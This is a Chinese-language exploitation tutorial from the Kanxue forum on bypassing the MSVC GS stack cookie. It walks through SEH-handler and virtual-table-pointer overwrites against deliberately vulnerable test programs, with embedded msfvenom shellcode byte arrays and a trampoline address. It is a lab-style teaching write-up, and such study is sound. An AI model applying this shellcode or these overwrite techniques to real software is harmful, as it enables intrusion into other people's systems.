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EXP编写学习之绕过GS

资讯作者：看雪学院 2023-02-18 21:39:45 阅读：153

本文为看雪论坛优秀文章

看雪论坛作者ID：yumoqaq

栈中的守护天使：GS

GS原理

向栈内压入一个随机的DWORD值，这个随机数被称为canary ，IDA称为 Security Cookie。

Security Cookie 放入 ebp前，并且data节中存放一个 Security Cookie的副本。

栈中发生溢出时，Security Cookie首先被淹没，之后才是ebp和返回地址。

函数返回之前，会添加一个Security Cookie验证操作，称为Security Check。

Security Check过程中，比较栈中的Security Cookie与data节中的副本，如果不吻合，则栈中发生了溢出。

检测到溢出时，系统将进入异常处理流程，函数不会正常返回，ret也不会被执行。

在VS2005以后的版本，添加了变量重排技术，把缓冲区放到最下面，防止溢出到变量中，同时还把指针参数和字符串参数复制到栈顶，防止函数参数被破坏。

Security Cookie的生成

系统以data节的第一个 DWORD值作为Cookie种子，或称为原始Cookie（所有函数的Cookie都用它生成）。

程序每次运行，种子都不同，具有很强的随机性。

在栈帧初始化以后，用ebp xor 种子，作为当前函数的Cookie，以此作为不同函数的区别，并增加随机性。

函数返回前，用ebp 还原出 Cookie 种子，进行比较。

GS不会被应用的情况

函数不包含缓冲区。

函数被定义为具有变量参数列表。

函数使用无保护的关键字标记。

函数在第一个语句中内联汇编代码。

缓冲区不是8字节类型且大小不大于4个字节。

编译指令 #pragma strict_gs_check(on) 可以为函数强制启用GS。

逆向分析GS

1.用C语言写一个简单的程序，开启GS编译选项，Release编译，观察一下汇编代码（没有GS的汇编代码相信读者已经在之前的章节中看过了）。

#include <stdio.h>#include <Windows.h> int main(int arc, char** argv){    char szBuff[100] = { 0 };    strcpy(szBuff, argv[1]);    printf("%s\n", szBuff);     return 0;}

2.生成exe后，ida打开

可以看到，把安全cookie给eax，与 ebp异或后，放入栈中ebp-4的位置，然后再去函数末尾看一下。

可以看到，在printf调用后，把栈中的 cookie拿出来给ecx ， ecx与ebp异或后，调用了一个函数。

这个函数就是检查cookie的函数Security Check ，先把结果与.data节中的原始 cookie进行比较，如果相同则正常返回，如果不同则跳转。

然后继续跟着跳转往下看，可以看到最后调用了这个函数：

这里的ExceptionInfo是异常处理需要的结构体，可以在前面看到被赋值，看一下最后的函数调用。

最后这个函数设置了一个空的异常处理函数，之后调用系统自己的异常处理函数，并传入之前的ExceptionInfo，之后获取当前进程后强制结束。

看一下cookie，确实在.data节中，并且是一个随机值（读者可以调试打开查看，IDA是静态分析工具，cookie会在进入主函数前初始化）。

3.也就是说，如果cookie被覆盖，则不会按照原来流程返回到被覆盖的 retaddr ，验证了前面的原理部分。

4.变量重排比较好理解，因为一般栈空间是按照你的变量顺序来的，重排后，把缓冲区放到距离cookie最近的地方，防止溢出到关键变量，但是没有溢出到cookie的情况。

5.根据以上总结与分析，硬刚GS还是比较困难的，所以我们不得不研究绕过GS的办法。

绕过GS的方式

这里提出四点，我们实践两点，2与3 ， 1与4是理论上可行的，但是实际环境几乎不可能。

利用未被保护的内存突破GS
覆盖虚函数突破GS
攻击SEH突破GS
同时替换栈中和.data中的Cookie突破GS（硬刚覆盖返回地址）

攻击SEH突破GS

1.使用C语言写一个测试程序。

#include <stdio.h>#include <Windows.h> void __stdcall test(char* str, char* out){    char buf[200] = { 0 };     __try    {        strcpy(buf, str);        strcpy(out, buf);    }    __except (1)    {        printf("Error OverFlow\n");    }}  int main(int arc, char** argv){    char buf1[500];    memset(buf1, 0x90, 1000);     char buf2[100] = { 0 };    test(buf1, buf2);     return 0;}

代码简要解释：test是一个溢出函数且注册了SEH ，把buf1 的 500字节的数据放入 test函数中的200字节大小的缓冲区中，此时会造成溢出，溢出后会覆盖到 out 的地址（参数地址 ebp + n），然后再次拷贝buf到out 的过程中，会触发非法访问，转入异常处理流程，但是此时函数并没有执行到返回，也就是没有执行到 check cookie函数，所以可以覆盖SEH来实现绕过 GS。

2.开启GS选项，关闭SafeSEH DEP ASLR选项与优化，生成exe，调试器打开查看，查看后发现，SEH被编译器扩展（不展开分析）。

好的好的，调试器定位一下test函数，在经过第一次strcpy后，查看SEH链，之后继续运行，访问90909090产生异常。

这个可以证明，攻击SEH是可行的，但是如果你想攻击这个程序，你还得考虑绕过SafeSEH（主模块的地址包含00，无法利用）。

3.修改一下测试代码，加入shellcode ，用来展示利用过程，溢出到系统的异常处理，可以使用 msfvenom生成（参考上篇）。

#include <stdio.h>#include <Windows.h> unsigned char shellcode[500] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67""\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3""\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20""\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24""\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff""\x55\x08"; void  __stdcall test(char* input){    char buf[200];    strcpy(buf, input);    strcat(buf, input);}  int main(int arc, char** argv){    memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));     test(shellcode);} //代码的简单解释//还是之前的原理，溢出到参数列表，造成strcat访问异常，导致程序进入异常处理//但是我们没有自己生成SEH，而是溢出到系统的SEH结构，这样可以避免我们在这个知识点中关心SafeSEH的绕过

4.在shellcode中，确定偏移后，覆盖系统的Handler即可。

#include <stdio.h>#include <Windows.h> unsigned char shellcode[500] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67""\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3""\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20""\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24""\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff""\x55\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; void  __stdcall test(char* input){    char buf[200];    strcpy(buf, input);    strcat(buf, input);}  int main(int arc, char** argv){    int len = strlen(shellcode);    memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));    int* ptr = &shellcode[len];    *ptr = &shellcode;     test(shellcode);}

运行进行测试，可以看到拷贝后，刚好覆盖到handler。

不用调试器直接打开此程序，可以看到，成功执行shellcode。

攻击虚函数绕过GS

’1.使用C++编写一个漏洞程序，为了避免操作复杂化，我们直接在程序中定义shellcode，来进行演示。

#include <stdio.h>#include <Windows.h>  class Foo{public:    void Overflow(char* src){        char buf[8] = { 0 };        strcpy(buf, src);        bar();    }     virtual void bar(){     } }; char shellcode[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";  int main(int arc, char** argv){    Foo test;    test.Overflow(shellcode);    return 0;}

2.对代码的介绍：Foo中的成员函数 Overflow存在溢出，且它调用了虚函数 bar ，如果我们能通过溢出，覆盖到虚表指针，则可以实现漏洞利用

3.现在需要搞清楚，虚表的位置，调试器打开看一下。

可以看到，在调用成员函数的时候的两个参数，这个对象只有4字节的大小，也就是只有一个虚表，跟进查看。

这里可以看到，目的地址为19FF0C ，对应的栈位置为8个0的数据，对应buf大小。

19FF0C 到虚表的偏移为 28 ，好的，现在我们面临一个 call eax的操作，也就是调用虚函数。

那么覆盖成什么数据才可以让程序流程转到我们的shellcode？

看一下汇编代码， ebp-10 的位置为 19FF24 ，也就是对象的首地址，然后从19FF24中取出数据给 eax。

eax = 19FF24 ，然后从eax中取出数据给 edx ， edx = 40210C ，也就是edx是虚表。

然后从 edx中取出4字节数据，给eax ， eax = vftable[0] ，也就是第一个虚函数。

好的，思考一下，我们看到栈中的情况， shellcode的地址在 403018 ，那么我们是不是可以覆盖虚表指针为403018 （没有ASLR）然后程序会取shellcode的前4字节，作为虚函数执行。

shellcode前4字节设置为跳板地址。

4.现在准备call eax ，可以看到eax已经被覆盖为 shellcode前4字节 90909090。

观察寄存器可以发现， ecx edx ebp都可以利用，例如跳板地址的指令为 call ebp 或者 jmp ebp （选ebp还有个好处，可以跳过前4字节的垃圾指令）。

通过搜索跳板指令，找到这个地址 0x77528A50（call ebp），所以最后的利用方式是这样的：

//0x77528A50char shellcode[] ="\x50\x8A\x52\x77\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x30\x40";

重新编译，运行，调试，跟踪，程序来到了nop区执行，代表着成功利用

参考资料

0day2

看雪ID：yumoqaq

https://bbs.kanxue.com/user-home-930159.htm

*本文由看雪论坛 yumoqaq 原创，转载请注明来自看雪社区

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原文链接 https://www.sslhub.cn/freessl/news/2356.html

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